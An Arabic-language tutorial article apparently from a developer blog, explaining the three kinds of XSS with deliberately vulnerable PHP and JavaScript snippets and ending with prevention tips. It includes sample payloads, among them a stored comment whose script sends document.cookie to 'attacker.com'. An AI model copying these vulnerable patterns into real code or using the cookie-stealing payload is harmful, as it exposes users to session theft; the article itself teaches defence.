Skip to content

ما هي ثغرة XSS وكيف تقوم بتجنبها في برنامجك؟

Published: at ٠٤:٠٦ ص

في هذه المقالة

ما هي ثغرة XSS؟

XSS (اختصارًا لـ Cross-Site Scripting) سُمِّيت بهذا الاسم باستبدال الحرف C بـ X في كلمة Cross لتجنب الالتباس مع لغة CSS (اختصارًا لـ Cascading Style Sheets).

هي ثغرة أمنية في تطبيقات الويب تسمح للمهاجم بحقن وتنفيذ سكربتات JavaScript ضارة في متصفح الضحية.

عند استغلال هذه الثغرة، يمكن للمخترق سرقة بيانات المستخدم الحساسة (مثل كلمات المرور أو معلومات الدخول)، أو تنفيذ إجراءات خفية نيابة عنه (كإجراء تحويلات بنكية في تطبيقات الخدمات المالية) دون علم الضحية.

تعتبر XSS من أخطر الثغرات حسب تصنيف OWASP.

كيف يتم استغلال ثغرة XSS؟

عند وجود خطأ برمجي في تطبيق الويب، يستطيع المهاجم استغلاله لحقن سكربتات JavaScript خبيثة في إحدى صفحات الموقع. بمجرد زيارة الضحية لهذه الصفحة، تُنفَّذ السكربتات تلقائيًا في المتصفح، مما يتيح للمهاجم:

باختصار، تمنح ثغرة XSS المهاجم سيطرة شبه كاملة على صفحة الويب المُستهدفة ضمن جلسة الضحية!

أنواع هجمات XSS

تنقسم ثغرات XSS إلى ثلاثة أنواع رئيسية بناءً على طريقة استغلالها:

  1. Reflected XSS (غير المخزنة / الانعكاسية)

تظهر عندما يعكس المخدم (Server) مدخلات المستخدم (مثل إدخال في شريط البحث أو URL) مباشرةً في الصفحة دون تنقيحها.

يتم استغلالها عن طريق ارسال رابط فيه كود خبيث للضحية.

  1. DOM-based XSS (متعلقة باسختدام الـ DOM)

تحدث بسبب معالجة مدخلات المستخدم (مثل document.location) عبر JavaScript وتعديل DOM ديناميكيًا دون تنقية.

الفرق عن Reflected: لا يتدخل المخدم (Server) هنا — الثغرة تنشأ من كود الواجهة (Client-side) فقط.

  1. Stored XSS (المخزنة / الدائمة)

تُخزَّن المدخلات الخبيثة (مثل تعليقات المستخدمين أو منشورات المنتدى) في قاعدة البيانات، ثم تُعرض لكل من يزور الصفحة لاحقًا.

تؤثر على جميع الضحايا الذين يشاهدون المحتوى المخزن، مما يجعلها الأكثر تدميرًا.

أمثلة

سأختار لغة PHP في الأمثلة لأنها الأكثر تخلفاً ورجعية بين لغات البرمجة وعرضة للوقوع في هذه الثغرات:

Reflected (الانعكاسية)

<!-- نموذج البحث البسيط -->
<form method="GET" action="/search">
  <input type="text" name="search" placeholder="Search" />
  <button type="submit">بحث</button>
</form>
<?php
// معالجة البحث (بدون تنقية المدخلات)
$query = $_GET['search'];

// عرض كلمة البحث (ثغرة XSS)
echo "<h1>نتائج البحث عن: " . $query . "!</h1>";
// عرض النتائج
// ...
?>

في المثال أعلاه فورم بسيط لمربع بحث - يقوم بإرسال كلمة البحث إلى المخدم (Server) ثم يقوم المخدم (Server) بجلب نتائج البحث وطباعتها. لكنه أيضاً يقوم بطباعة كلمة البحث التي أدخلها المستخدم بدون تنقية مما يتيح للمسخدم كتابةً أي سكربت بمربع البحث على الشكل

<script>
  alert("steal user password");
</script>

وسيتم تنفيذ هذا السكربت عنذ الإنتقال لصفحة البحث.

يتم استغلال هذه الثغرة بإرسال رابط مثل هذا للضحية:

https://example.com/search.php?query=<scrip>alert('steal password')</script>

DOM-based XSS (متعلقة باسختدام الـ DOM)

<html>
  <body>
    <div id="result"></div>

    <script>
      const query = new URLSearchParams(window.location.search).get("query");
      document.getElementById("result").innerHTML = "نتائج البحث عن: " + query;
    </script>
  </body>
</html>

لاحظ كيف يتم أخد مدخلات المستخدم من الرابط ويتم طباعتها في الصفحة دون تنقية

شبيهة جداً بالثغرة على المخدم (Server) لكنها هذه المرة في كود الواجهة (Client-side)

يتم استغلالها أيضاً عن طريق ارسال رابط خبيث للمستخدم مثل هذا

https://example.com/search.html?query=<img src=x onerror=alert('Hacked!')>

عندما يتم فتح هذا الرابط فإن الصورة في الرابط سيتم إضافتها إلى الصفحة وبما أن رابط الصورة غير صالح فإن دالة onerror سيتم تفعيلها وبالتالي يقوم المهاجم بكتابة أي كود خبيث فيها.

Stored XSS (المخزنة)

افترض أن لديك مدونة تقوم بإستقبال تعليقات المستخدمين فيها، لكن للأسف لا تقوم بتفحص مدخلات المستخدمين في التعليقات، بل تقوم بحفظها مباشرة في قاعدة البيانات

ثم تقوم بعرضها تحت التدوينة عند الدخول إليها.

بفرض هذه قاعدة بياناتك

| id  | user_id | blog_id | body                                                                     |
| --- | ------- | ------- | ------------------------------------------------------------------------ |
| 1   | 5       | 12      | مقال رائع                                                                |
| 2   | 3       | 1       | <script>fetch('https://attacker.com?cookie=' + document.cookie)</script> |
<?php

$comments = get_comments_for_blog(1)

foreach ($comments as $comment) {
    echo "<div>";
    echo "<p>" . $comment['body'] . "</p>";
    echo "</div>";
}

?>

عند الدخول للتدوينة رقم ١ يتم جلب التعليق رقم ٢ وعرضه يحتوي هذا التعليق على سكربت خبيث يقوم بسرقة الكعكات (Cookies) وإرسالها إلى المهاجم عن طريق HTTP.

كيف تتفادى ثغرات XSS

قد يعتقد البعض أن هذه الثغرات أصبحت قديمة ولا يمكن استخدامها حالياً مع أطر العمل أو المكتبات الجديدة مثل Laravel أو React أو Angular.

أولاً عليك تقبل أنك بشر وقد تسهو أو تخطأ وعلى حسب برنامجك الخطأ قد يكون قاتلاً.

كما أنك مخطئ بشأن الثقة التامة بأطر العمل أو المكاتب - فأطر العمل هذه أو المكتبات ما هي إلا برامج كتبها أناس آخرون قد يكونون قد وقعوا حقاً في هذه الثغرة مما يجعل برنامجك المعتمد عليها عرضة للاختراق إن تم اختراق المكتبة.

لا تنس أيضاً أنه كما أنك تعمل ٨ ساعات يومياً لكتابة البرامج، فهناك من يعمل مثل هذه الساعات على الأقل لاختراق هذه البرامج والبحث في كودها سطراً سطراً لايجاد مثل هذه الثغرات.

نقاط لا بد منها:

  1. لا تثق بالمستخدم أبداً أبداً - تفحص كل شيء قبل عرضه أو تخزينه
  2. قم بتحديث المكتبات بشكل دوري فهي غالباً تقوم بإغلاق ثغرات مكتشفة في كل نسخة
  3. تابع OWASP أو آخر الثغرات المكتشفة من أي مصدر آخر
  4. تدرب على اكتشاف هذه الثغرة وأشكالها الكثيرة التي لم اذكر منها إلا ثلاثة امثلة بسيطة جداً

ملخص

ثغرة XSS من أخطر ثغرات الويب وقد تكلف بعض البرامج حياتها. يمكنك التمرس على إكتشاف هذه الثغرة والتعرف على أشكالها عن طريق portswigger